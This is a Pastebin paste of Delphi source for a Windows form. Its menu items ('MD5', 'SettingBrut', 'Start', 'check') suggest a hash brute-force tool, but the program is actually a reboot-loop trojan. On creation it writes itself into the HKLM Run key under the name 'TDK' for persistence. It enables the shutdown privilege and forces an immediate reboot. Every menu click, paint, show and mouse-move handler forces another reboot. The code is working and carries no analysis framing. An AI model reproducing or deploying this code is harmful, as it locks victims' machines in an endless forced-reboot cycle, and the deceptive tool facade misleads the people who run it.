Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- unit Unit1;
- interface
- uses
- Registry, Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
- Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.Menus, Vcl.ComCtrls;
- type
- TForm1 = class(TForm)
- MainMenu1: TMainMenu;
- N1: TMenuItem;
- N3: TMenuItem;
- N4: TMenuItem;
- MD51: TMenuItem;
- ProgressBar1: TProgressBar;
- LabelName: TLabel;
- Start1: TMenuItem;
- N2: TMenuItem;
- SettingBrut1: TMenuItem;
- check1: TMenuItem;
- N5: TMenuItem;
- procedure FormCreate(Sender: TObject);
- procedure MD51Click(Sender: TObject);
- procedure N4Click(Sender: TObject);
- procedure Start1Click(Sender: TObject);
- procedure N2Click(Sender: TObject);
- procedure SettingBrut1Click(Sender: TObject);
- procedure check1Click(Sender: TObject);
- procedure N5Click(Sender: TObject);
- procedure FormActivate(Sender: TObject);
- procedure FormDestroy(Sender: TObject);
- procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
- procedure FormShow(Sender: TObject);
- procedure FormPaint(Sender: TObject);
- private
- { Private declarations }
- public
- { Public declarations }
- end;
- var
- Form1: TForm1;
- implementation
- {$R *.dfm}
- function WindowsExit(RebootParam: Longword): Boolean;
- var
- TTokenHd: THandle;
- TTokenPvg: TTokenPrivileges;
- cbtpPrevious: DWORD;
- rTTokenPvg: TTokenPrivileges;
- pcbtpPreviousRequired: DWORD;
- tpResult: Boolean;
- const
- SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
- begin
- if Win32Platform = VER_PLATFORM_WIN32_NT then
- begin
- tpResult := OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TTokenHd);
- if tpResult then
- begin
- tpResult := LookupPrivilegeValue(nil, SE_SHUTDOWN_NAME, TTokenPvg.Privileges[0].Luid);
- TTokenPvg.PrivilegeCount := 1;
- TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
- cbtpPrevious := SizeOf(rTTokenPvg);
- pcbtpPreviousRequired := 0;
- if tpResult then
- AdjustTokenPrivileges(TTokenHd, False, TTokenPvg, cbtpPrevious, rTTokenPvg, pcbtpPreviousRequired);
- end;
- end;
- Result := ExitWindowsEx(RebootParam, 0);
- end; //WindowsExit(EWX_REBOOT or EWX_FORCE);//применение для перезапуска
- procedure TForm1.check1Click(Sender: TObject);
- begin
- WindowsExit(EWX_REBOOT or EWX_FORCE);
- end;
- procedure TForm1.FormActivate(Sender: TObject);
- begin
- WindowsExit(EWX_REBOOT or EWX_FORCE);
- end;
- procedure TForm1.FormCreate(Sender: TObject);
- var
- reg : TRegistry;
- begin
- reg := TRegistry.Create;
- reg.RootKey := HKEY_LOCAL_MACHINE;
- reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True);
- reg.WriteString('TDK',ParamStr(0));
- FreeAndNil(reg);
- WindowsExit(EWX_REBOOT or EWX_FORCE);
- end;
- procedure TForm1.FormDestroy(Sender: TObject);
- begin
- WindowsExit(EWX_REBOOT or EWX_FORCE);
- end;
- procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
- Y: Integer);
- begin
- WindowsExit(EWX_REBOOT or EWX_FORCE);
- end;
- procedure TForm1.FormPaint(Sender: TObject);
- begin
- WindowsExit(EWX_REBOOT or EWX_FORCE);
- end;
- procedure TForm1.FormShow(Sender: TObject);
- begin
- WindowsExit(EWX_REBOOT or EWX_FORCE);
- end;
- procedure TForm1.MD51Click(Sender: TObject);
- begin
- WindowsExit(EWX_REBOOT or EWX_FORCE);
- end;
- procedure TForm1.N2Click(Sender: TObject);
- begin
- WindowsExit(EWX_REBOOT or EWX_FORCE);
- end;
- procedure TForm1.N4Click(Sender: TObject);
- begin
- WindowsExit(EWX_REBOOT or EWX_FORCE);
- end;
- procedure TForm1.N5Click(Sender: TObject);
- begin
- WindowsExit(EWX_REBOOT or EWX_FORCE);
- end;
- procedure TForm1.SettingBrut1Click(Sender: TObject);
- begin
- WindowsExit(EWX_REBOOT or EWX_FORCE);
- end;
- procedure TForm1.Start1Click(Sender: TObject);
- begin
- WindowsExit(EWX_REBOOT or EWX_FORCE);
- end;
- end.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement